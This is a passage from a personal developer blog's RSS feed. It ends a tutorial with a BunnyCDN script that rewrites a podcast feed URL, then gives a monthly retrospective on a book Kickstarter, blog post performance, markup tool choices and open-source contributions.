&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">async&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">function&lt;/span> onOriginResponse(context: { request: Request, response: Response }): &lt;span style="color:#24909d">Promise&lt;/span>&amp;lt;Response&amp;gt; | Response | &lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> responseText = &lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> context.response.text();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Replace the URL with simple string replacement
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> modifiedText = responseText.replace(SOURCE_URL, TARGET_URL);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Create a new response with the modified text
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">new&lt;/span> Response(modifiedText, {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> status: context.response.status,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> statusText: context.response.statusText,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> headers: context.response.headers
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BunnySDK.net.http.servePullZone()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .onOriginResponse(onOriginResponse);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, hit the &amp;ldquo;Connect Pull Zone&amp;rdquo; button to attach this script to your RSS feed.&lt;/p>
&lt;h2 id="youre-done">You&amp;rsquo;re done!&lt;/h2>
&lt;p>If you set things up correctly, you should now have a custom URL that serves your podcast feed.&lt;/p>
&lt;p>You now have a URL that you control. If you ever switch podcast platforms, just update the &amp;ldquo;Origin&amp;rdquo; field of your BunnyCDN pull zone. You never have to deal with redirects or worry that your old platform will try to lock you in.&lt;/p></content:encoded></item><item><title>Refactoring English: Month 4</title><link>https://mtlynch.io/retrospectives/2025/04/</link><pubDate>Wed, 09 Apr 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/04/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>My book&amp;rsquo;s pre-sale succeeded (just barely).&lt;/li>
&lt;li>I wrote a bunch of blog posts, and I was bad at predicting their performance.&lt;/li>
&lt;li>Now, I need to pick a markup language for writing my book.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="reach-my-5k-kickstarter-goal-for-refactoring-english">Reach my $5k Kickstarter goal for &lt;em>Refactoring English&lt;/em>.&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The Kickstarter reached $6,701 from 196 backers.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>The Kickstarter did better than I expected, making a last-minute comeback.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>My book&amp;rsquo;s pre-sale succeeded (just barely).&lt;/li>
&lt;li>I wrote a bunch of blog posts, and I was bad at predicting their performance.&lt;/li>
&lt;li>Now, I need to pick a markup language for writing my book.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="reach-my-5k-kickstarter-goal-for-refactoring-english">Reach my $5k Kickstarter goal for &lt;em>Refactoring English&lt;/em>.&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The Kickstarter reached $6,701 from 196 backers.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>The Kickstarter did better than I expected, making a last-minute comeback.&lt;/p>
&lt;h3 id="publish-the-blogging-chapter-of-refactoring-english">Publish the blogging chapter of &lt;em>Refactoring English&lt;/em>.&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://refactoringenglish.com/chapters/write-blog-posts-developers-read/">&amp;ldquo;How to Write Blog Posts that Developers Read&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This did well &lt;a href="https://news.ycombinator.com/item?id=43503872">on Hacker News&lt;/a> and &lt;a href="https://lobste.rs/s/youq7y/how_write_blog_posts_developers_read">Lobsters&lt;/a> but not &lt;a href="https://www.reddit.com/r/programming/comments/1jl3wgw/how_to_write_blog_posts_that_developers_read/">reddit&lt;/a>.&lt;/p>
&lt;h3 id="reach-the-front-page-of-hacker-news-twice-by-the-end-of-march">Reach the front page of Hacker News twice by the end of March.&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: &lt;a href="https://news.ycombinator.com/item?id=43503872">&amp;ldquo;How to Write Blog Posts that Developers Read&amp;rdquo;&lt;/a> and &lt;a href="https://refactoringenglish.com/tools/hn-popularity/">HN Popularity Contest&lt;/a> both reached the front page.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I feel good about this goal now that I managed to pull it off, but I was worried for most of the month about how dumb I&amp;rsquo;d look if all five of my post ideas failed. Thankfully, two out of the five made it.&lt;/p>
&lt;h2 id="my-books-pre-sale-succeeded">My book&amp;rsquo;s pre-sale succeeded&lt;/h2>
&lt;p>For most of the month, my book seemed doomed. The pre-sale was on track to fall short of the $5k goal by $1.5k.&lt;/p>
&lt;p>Four days before the pre-sale closed, one of my blog posts got attention on Hacker News and completely turned sales around.&lt;/p>
&lt;p>In the end, the Kickstarter raised $6,551, exceeding its $5k goal. It&amp;rsquo;s now at $6,701, including late pre-orders.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/04/ks-total.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/04/ks-total_hu_c1f8b699e74994fb.webp 300w, https://mtlynch.io/retrospectives/2025/04/ks-total_hu_5d945ab4af0b9bdc.webp 600w, https://mtlynch.io/retrospectives/2025/04/ks-total.webp 633w'
 src="https://mtlynch.io/retrospectives/2025/04/ks-total.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I wrote a longer account of the pre-sale last week:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/">My Book&amp;rsquo;s Pre-Sale Just Barely Succeeded&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I plan to write a dedicated post about Kickstarter, but I had a great experience with it. It turned out to be a good way to measure interest in my book. And the $6.5k in pre-orders is higher than a traditional publisher would pay me as an advance.&lt;/p>
&lt;h2 id="can-i-make-the-julia-evans-business-model-work-for-me">Can I make the Julia Evans business model work for me?&lt;/h2>
&lt;p>The thing that&amp;rsquo;s exciting about &lt;em>Refactoring English&lt;/em>&amp;rsquo;s pre-sale is that it&amp;rsquo;s a glimmer of hope that I could earn a living by blogging.&lt;/p>
&lt;p>When I was running TinyPilot, blogging definitely helped me find my first few dozen customers. Eventually, it felt like my personal blog wasn&amp;rsquo;t helping sales at all. And that makes sense because people who are interested in an indie founder&amp;rsquo;s diaries are not necessarily interested in buying a $400 KVM over IP device.&lt;/p>
&lt;p>With the complexity of a hardware business, I was almost always limited in hours, so it was hard to dedicate most of my day&amp;rsquo;s &amp;ldquo;deep thinking&amp;rdquo; hours to my personal blog. Ever since, I&amp;rsquo;ve been trying to figure out what business I could run where blogging aligns well with profitability for my business.&lt;/p>
&lt;p>My hypothesis is that I can make blogging sustainable by creating educational products. If I write about something I&amp;rsquo;m doing, and I have a book or course that goes into more depth, readers can learn more and fund my work.&lt;/p>
&lt;p>The best example of a blogger who earns money with related content is &lt;a href="https://jvns.ca">Julia Evans&lt;/a>. She maintains a software blog and monetizes her work by selling &lt;a href="https://wizardzines.com/">illustrated zines&lt;/a>.&lt;/p>
&lt;p>Julia doesn&amp;rsquo;t disclose her revenue publicly anymore, but she was making &lt;a href="https://jvns.ca/blog/2019/10/01/zine-revenue-2019/">~$100k/yr from zines as of 2019&lt;/a>. That $100k/yr was before &lt;a href="https://jvns.ca/blog/2019/09/13/a-year-explaining-computer-things/">she started working on her blog full-time&lt;/a>. Granted, it was revenue, not profit, but I&amp;rsquo;d expect the margins were around 90-95% since the zines were digital, so she just had to pay fees to payment processors and content platforms like Gumroad.&lt;/p>
&lt;p>So, $100k in revenue when it was still a side project is quite good. Let&amp;rsquo;s imagine that Julia tripled her sales by working on her business full-time instead of after hours. If I can be half as successful as she was, then that&amp;rsquo;s $150k/yr from blogging and selling related products. It sounds challenging but achievable.&lt;/p>
&lt;h2 id="blogging-like-my-livelihood-depends-on-it">Blogging like my livelihood depends on it&lt;/h2>
&lt;p>March was an interesting blogging challenge because I was trying to find customers for my book by writing successful blog posts. That&amp;rsquo;s unusual for me, as I&amp;rsquo;m usually not writing to a deadline or choosing topics for maximum readers.&lt;/p>
&lt;p>I have a long list of topic ideas and half-written posts, so I evaluated them on these dimensions:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Ease&lt;/strong>: How easy would it be to write a post that feels complete?&lt;/li>
&lt;li>&lt;strong>Potential audience&lt;/strong>: If this post succeeds, how large is the potential audience that would enjoy it?&lt;/li>
&lt;li>&lt;strong>Probability of success&lt;/strong>: How likely is this post to reach its intended audience?&lt;/li>
&lt;li>&lt;strong>Overlap with book&lt;/strong>: If a reader discovers this post, how likely are they to be interested in my book?&lt;/li>
&lt;/ul>
&lt;p>I didn&amp;rsquo;t sit down and formally score my ideas, but the rough mental calculation looked like this:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Title&lt;/th>
 &lt;th>Ease&lt;/th>
 &lt;th>Potential audience&lt;/th>
 &lt;th>Probability of Success&lt;/th>
 &lt;th>Overlap with book&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/no-longer-my-favorite-git-commit/">No Longer My Favorite Git Commit&lt;/a>&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>5&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>4&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/chapters/commit-messages/">How to Write Useful Commit Messages&lt;/a>&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>5&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>4&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/chapters/write-blog-posts-developers-read/">How to Write Blog Posts that Developers Read&lt;/a>&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>How to Maintain an Open-Source Project and Remain Happy&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fine Tuning Your Writing: Using Strong Verbs&lt;/td>
 &lt;td>5&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Three Months Using NixOS after 35 Years on Windows&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>5&lt;/td>
 &lt;td>1&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Use Zig to Build C Applications&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>1&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I ended up picking the top three from that list, but they didn&amp;rsquo;t perform as expected. Here were the results:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Title&lt;/th>
 &lt;th>Impact on Sales&lt;/th>
 &lt;th>Total Readers&lt;/th>
 &lt;th>Hacker News&lt;/th>
 &lt;th>reddit&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/chapters/write-blog-posts-developers-read/">How to Write Blog Posts that Developers Read&lt;/a>&lt;/td>
 &lt;td>High&lt;/td>
 &lt;td>22.3k&lt;/td>
 &lt;td>9.7k&lt;/td>
 &lt;td>325&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/chapters/commit-messages/">How to Write Useful Commit Messages&lt;/a>&lt;/td>
 &lt;td>Medium&lt;/td>
 &lt;td>2.6k&lt;/td>
 &lt;td>126&lt;/td>
 &lt;td>1.2k&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/no-longer-my-favorite-git-commit/">No Longer My Favorite Git Commit&lt;/a>&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;td>31.6k&lt;/td>
 &lt;td>87&lt;/td>
 &lt;td>6.4k&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>&amp;ldquo;No Longer My Favorite Git Commit&amp;rdquo; felt like my strongest idea because I knew I could write it quickly, and I thought there was a large potential audience since the original was so popular. It did well &lt;a href="https://lobste.rs/s/1hexlm/no_longer_my_favorite_git_commit">on Lobsters&lt;/a>, &lt;a href="https://www.reddit.com/r/programming/comments/1jexuzb/no_longer_my_favorite_git_commit/">okay on reddit&lt;/a>, and flopped on Hacker News. I didn&amp;rsquo;t realize until I sat down to write this post that &lt;a href="https://blog.google/products/search/introducing-google-discover/">Google Discover&lt;/a> (a thing I didn&amp;rsquo;t even realize existed) featured my post, which brought in 15k readers.&lt;/p>
&lt;p>That post was a bit unusual for me because I&amp;rsquo;ve never written a rebuttal to a blog post before. When I started the post, I was excited because I had strong opinions about &lt;a href="https://dhwthompson.com/2019/my-favourite-git-commit">the original&lt;/a>. When I finished the first draft, I started having second thoughts. It felt like I was needlessly attacking another blogger for something they wrote six years ago. I adjusted the language to make it feel less like an attack, but it still felt antagonistic.&lt;/p>
&lt;p>&amp;ldquo;How to Write Useful Commit Messages&amp;rdquo; was the post that was supposed to kick off the pre-sale. It did well &lt;a href="https://lobste.rs/s/1hexlm/no_longer_my_favorite_git_commit">on Lobsters&lt;/a> and &lt;a href="https://www.reddit.com/r/programming/comments/1j5nvm5/how_to_write_useful_commit_messages/">okay on reddit&lt;/a> but flopped on Hacker News. It&amp;rsquo;s hard to tell how much of an impact it had on sales because I can&amp;rsquo;t distinguish between readers who pre-ordered because of the post and those who pre-ordered because I announced the pre-sale to the book&amp;rsquo;s mailing list on the same day.&lt;/p>
&lt;p>&amp;ldquo;How to Write Blog Posts that Developers Read&amp;rdquo; was the surprise hit that saved the book. It did &lt;a href="https://lobste.rs/s/youq7y/how_write_blog_posts_developers_read">okay on Lobsters&lt;/a> and &lt;a href="https://www.reddit.com/r/programming/comments/1jl3wgw/how_to_write_blog_posts_that_developers_read/">bombed on reddit&lt;/a>. My first submission to Hacker News flopped, but then someone else resubmitted it the next morning, and it got &lt;a href="https://news.ycombinator.com/item?id=43503872">an amazing reception&lt;/a>, ending at &lt;a href="https://news.ycombinator.com/front?day=2025-03-28">#4 for the day&lt;/a>. Best of all, many of the people who found the post through Hacker News became customers through the pre-sale.&lt;/p>
&lt;h2 id="hacker-news-popularity-contest">Hacker News Popularity Contest&lt;/h2>
&lt;p>&amp;ldquo;Engineering as marketing&amp;rdquo; is a marketing technique that&amp;rsquo;s popular with engineers who are bad at marketing (e.g., me).&lt;/p>
&lt;p>The idea is that you create a free tool that&amp;rsquo;s related to your paid product, and then hope that people are impressed enough with your free thing that they check out your paid thing.&lt;/p>
&lt;p>I&amp;rsquo;ve had an idea to build a Hacker News blog ranking system for a long time because I always wondered how I compared to other popular Hacker News authors. I created a basic prototype last summer because I was planning to use it for the reboot of my &lt;a href="https://hitthefrontpage.com">&lt;em>Hit the Front Page of Hacker News&lt;/em> course&lt;/a>.&lt;/p>
&lt;p>When I shelved my course and focused on &lt;em>Refactoring English&lt;/em>, I didn&amp;rsquo;t know what to do with the blog ranking tool. When March rolled around, and I was desperate to make the pre-sale succeed, I realized I could invest a day or two of work into getting my prototype ready to publish.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/04/popularity-contest.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/04/popularity-contest_hu_3be3150108d06d9b.webp 300w, https://mtlynch.io/retrospectives/2025/04/popularity-contest_hu_7afd1e4252650ea0.webp 600w, https://mtlynch.io/retrospectives/2025/04/popularity-contest_hu_47405f0cabec78b1.webp 800w, https://mtlynch.io/retrospectives/2025/04/popularity-contest_hu_bb0b56515c8bbeba.webp 1200w, https://mtlynch.io/retrospectives/2025/04/popularity-contest.webp 1304w'
 src="https://mtlynch.io/retrospectives/2025/04/popularity-contest.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Popularity Contest is a tool I created to promote &lt;em>Refactoring English&lt;/em>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The tool successfully &lt;a href="https://news.ycombinator.com/item?id=43503872">reached the front page of Hacker News&lt;/a>, but it didn&amp;rsquo;t have any impact on book sales.&lt;/p>
&lt;p>One of the unexpected reactions was how many people in the top 100 cared about their rank. I assumed that if you were one of the most popular personal bloggers on Hacker News, you&amp;rsquo;re famous enough that Hacker News isn&amp;rsquo;t a big deal to you, but a lot of people in the top 100 commented on it either publicly or privately to me in DMs/emails.&lt;/p>
&lt;p>A lot of the top bloggers seemed especially interested in how their rank changed over time, most notably John Gruber, who felt my tool supported his theory that Hacker News &lt;a href="https://daringfireball.net/2025/03/the_website_hacker_news_is_afraid_to_discuss">had applied manual penalties to his site&lt;/a> in recent years.&lt;/p>
&lt;p>Based on that reaction, I added functionality to view more detailed stats for &lt;a href="https://refactoringenglish.com/tools/hn-popularity/domain/?d=mtlynch.io">individual blogs&lt;/a>, but I haven&amp;rsquo;t seen much reaction to that feature yet.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/04/domain-view.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/04/domain-view_hu_1e3a95c28e382d7.webp 300w, https://mtlynch.io/retrospectives/2025/04/domain-view_hu_9ceb0586205897aa.webp 600w, https://mtlynch.io/retrospectives/2025/04/domain-view_hu_c6d951e00efa050a.webp 800w, https://mtlynch.io/retrospectives/2025/04/domain-view.webp 1034w'
 src="https://mtlynch.io/retrospectives/2025/04/domain-view.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Top bloggers seemed interested in sharing their domain&amp;rsquo;s stats, so I created &lt;a href="https://refactoringenglish.com/tools/hn-popularity/domain/?d=mtlynch.io">per-blog views&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="picking-a-markup-language-for-the-book">Picking a markup language for the book&lt;/h2>
&lt;p>So far, I&amp;rsquo;ve been writing my book using Markdown with Hugo. I haven&amp;rsquo;t started on the official PDF version yet, so I&amp;rsquo;ve been punting on the decision to pick a book publishing technology.&lt;/p>
&lt;p>Now that the book is officially happening, I need to pick a method for writing it. The features I&amp;rsquo;m interested in are:&lt;/p>
&lt;ul>
&lt;li>Can the tool natively output PDF?&lt;/li>
&lt;li>Can the tool natively output epub?&lt;/li>
&lt;li>Can the tool natively output HTML?&lt;/li>
&lt;li>How mature is the tool? How likely am I to hit new bugs or dead ends trying to achieve simple things?&lt;/li>
&lt;li>Which DRM-free technical traditional publishers support this format?
&lt;ul>
&lt;li>I&amp;rsquo;m going to self-publish the first edition, but it would be nice to have the option to work with a traditional publisher on a print version for a second edition.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>The options seem to be:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Tool&lt;/th>
 &lt;th>PDF&lt;/th>
 &lt;th>epub&lt;/th>
 &lt;th>HTML&lt;/th>
 &lt;th>Maturity&lt;/th>
 &lt;th>Publisher Support&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://asciidoctor.org/">Asciidoctor&lt;/a>&lt;/td>
 &lt;td>✅&lt;/td>
 &lt;td>✅&lt;/td>
 &lt;td>✅&lt;/td>
 &lt;td>High&lt;/td>
 &lt;td>None&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.latex-project.org/">LaTeX&lt;/a>&lt;/td>
 &lt;td>✅&lt;/td>
 &lt;td>❌&lt;/td>
 &lt;td>❌&lt;/td>
 &lt;td>Very high&lt;/td>
 &lt;td>&lt;a href="https://nostarch.com/">No Starch Press&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://docs.racket-lang.org/pollen/index.html">Pollen&lt;/a>&lt;/td>
 &lt;td>❌&lt;/td>
 &lt;td>❌&lt;/td>
 &lt;td>✅&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;td>None&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://typst.app/">Typst&lt;/a>&lt;/td>
 &lt;td>✅&lt;/td>
 &lt;td>❌&lt;/td>
 &lt;td>❌&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;td>None&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://rust-lang.github.io/mdBook/">mdBook&lt;/a>&lt;/td>
 &lt;td>❌&lt;/td>
 &lt;td>❌&lt;/td>
 &lt;td>✅&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;td>None&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>It looks like the winner is either Asciidoctor or LaTeX.&lt;/p>
&lt;p>There are third-party tools to convert from AsciiDoc to LaTeX. It&amp;rsquo;s probably not fun, but if &lt;em>No Starch&lt;/em> tells me they want to publish a second edition of my book, I can probably suck it up and do a one-time conversion.&lt;/p>
&lt;p>I spent a few hours with Typst. I like that it&amp;rsquo;s open-source, and it&amp;rsquo;s simpler than LaTeX, but it&amp;rsquo;s not enough of an improvement to justify using a newer, less mature tool. Also, it seems optimized for writing research papers and not as much for writing books.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="getting-more-of-the-fusion-rss-reader-under-test">Getting more of the fusion RSS reader under test&lt;/h3>
&lt;p>Since switching to NixOS a few months ago, I&amp;rsquo;ve enjoyed hosting &lt;a href="https://mtlynch.io/retrospectives/2025/02/#late-to-the-game-rss-is-great">more services on my personal machine&lt;/a>. My favorite is &lt;a href="https://github.com/0x2E/fusion">fusion&lt;/a>, a minimal RSS reader built with Go, Svelte, and SQLite.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/04/fusion.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/04/fusion_hu_c9be8cf4a516e873.webp 300w, https://mtlynch.io/retrospectives/2025/04/fusion_hu_9c95978cbcd60f8c.webp 600w, https://mtlynch.io/retrospectives/2025/04/fusion_hu_5a3c14b93659e47f.webp 800w, https://mtlynch.io/retrospectives/2025/04/fusion_hu_e8b67b953cb2c90c.webp 1200w, https://mtlynch.io/retrospectives/2025/04/fusion.webp 1239w'
 src="https://mtlynch.io/retrospectives/2025/04/fusion.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://github.com/0x2E/fusion">fusion&lt;/a> is a minimal RSS reader built with Go, Svelte, and SQLite.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>My favorite thing about fusion is that its maintainer has been friendly and receptive to code contributions, so I&amp;rsquo;ve been working on &lt;a href="https://github.com/0x2E/fusion/pulls?q=is%3Apr+author%3Amtlynch">small improvements&lt;/a> to the code in my spare time.&lt;/p>
&lt;p>The contribution I&amp;rsquo;m most proud of is refactoring the &lt;code>pull&lt;/code> package and getting more of it under test:&lt;/p>
&lt;ul>
&lt;li>The &lt;code>pull&lt;/code> package &lt;a href="https://github.com/0x2E/fusion/tree/v0.8.9/service/pull">before (v.0.8.9)&lt;/a> vs. &lt;a href="https://github.com/0x2E/fusion/tree/v0.9.3/service/pull">after (v0.9.3)&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>It started because I wanted to &lt;a href="https://github.com/0x2E/fusion/pull/113">add support for the &lt;code>If-Modified-Since&lt;/code> HTTP header&lt;/a>, but when I looked at &lt;a href="https://github.com/0x2E/fusion/blob/v0.8.9/service/pull/handle.go#L16-L78">the code responsible for initiating HTTP requests&lt;/a>, it was difficult to modify. There were a few issues:&lt;/p>
&lt;ul>
&lt;li>The code was mixing together lots of different responsibilities: reading the database, logic about when to query a feed, parsing external data, and writing results back to the database.&lt;/li>
&lt;li>The code had no automated tests to exercise it.&lt;/li>
&lt;li>If I wanted to write tests, the only exported function that exercised this code was &lt;a href="https://github.com/0x2E/fusion/blob/v0.8.9/service/pull/pull.go#L55-L99">&lt;code>Puller.PullAll&lt;/code>&lt;/a>, which adds even more complexity because that function also manages a pool of worker processes.&lt;/li>
&lt;/ul>
&lt;p>The main changes I made were:&lt;/p>
&lt;ul>
&lt;li>I moved &lt;a href="https://github.com/0x2E/fusion/blob/v0.9.3/service/pull/client/client.go">HTTP logic to its own file&lt;/a>.&lt;/li>
&lt;li>I moved &lt;a href="https://github.com/0x2E/fusion/blob/v0.9.3/service/pull/client/parse.go">RSS parsing to its own file&lt;/a>.&lt;/li>
&lt;li>I untangled the logic for &lt;a href="https://github.com/0x2E/fusion/blob/v0.9.3/service/pull/singlefeed.go#L78-L90">querying a single feed&lt;/a> from the component that manages multiple workers, which simplifies testing the logic for a single feed.&lt;/li>
&lt;li>I created &lt;a href="https://github.com/0x2E/fusion/blob/v0.9.3/service/pull/singlefeed.go#L24-L28">a simpler, clearer interface&lt;/a> for how this piece of code interacts with the database, which made it easier to mock out the database in tests.&lt;/li>
&lt;li>I created &lt;a href="https://github.com/0x2E/fusion/blob/v0.9.3/service/pull/handle.go#L65-L80">a dedicated function for deciding whether to update a feed&lt;/a> rather than intermingle the decision with other parts of the update workflow.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;d like to tidy it up a bit further, but I&amp;rsquo;m pleased with the progress so far, and it&amp;rsquo;s helped me fix several bugs and improve fusion&amp;rsquo;s functionality.&lt;/p>
&lt;h3 id="i-should-officially-sunset-what-got-done">I should officially sunset What Got Done&lt;/h3>
&lt;p>In 2019, I &lt;a href="https://mtlynch.io/status-updates-to-nobody/">created a web app called What Got Done&lt;/a>. It was my first attempt at a real SaaS business, but I couldn&amp;rsquo;t find any customers.&lt;/p>
&lt;p>I still use it every week. I&amp;rsquo;m now on a five-year streak of posting weekly updates, but I&amp;rsquo;m the only consistent user. Occasionally, other people pick it up, but they typically get bored of it after a few weeks and stop posting.&lt;/p>
&lt;p>I wrote it when I knew much less about web development. The site originally used Go, Vue 2, AppEngine, and Google Cloud Firestore. I&amp;rsquo;ve since &lt;a href="https://github.com/mtlynch/whatgotdone/pull/639">replaced AppEngine with fly.io and Firestore with SQLite&lt;/a>, which made development a bit more pleasant, but I still find it miserable to work in Vue. I don&amp;rsquo;t know of a good way to incrementally move from Vue to vanilla JavaScript, and I don&amp;rsquo;t want to invest 30+ hours in a giant rewrite.&lt;/p>
&lt;p>I realized recently that the site would make more sense as a static site that I generate with Hugo: I&amp;rsquo;d write my weekly updates in whatever editor I want, and then when I push them to my main branch, continuous integration would build the site and publish it. That&amp;rsquo;s how this blog works. And for What Got Done, that would eliminate a lot of complexity around user accounts, authentication, and database management. Plus, it means that all of my updates are searchable plaintext files rather than records trapped in a SQL database.&lt;/p>
&lt;p>It costs me nothing to keep the site running, and I&amp;rsquo;ve only had to spend about five hours per year on maintenance. So, I&amp;rsquo;m not in a rush to sunset it, but I did take the first step of closing signups.&lt;/p>
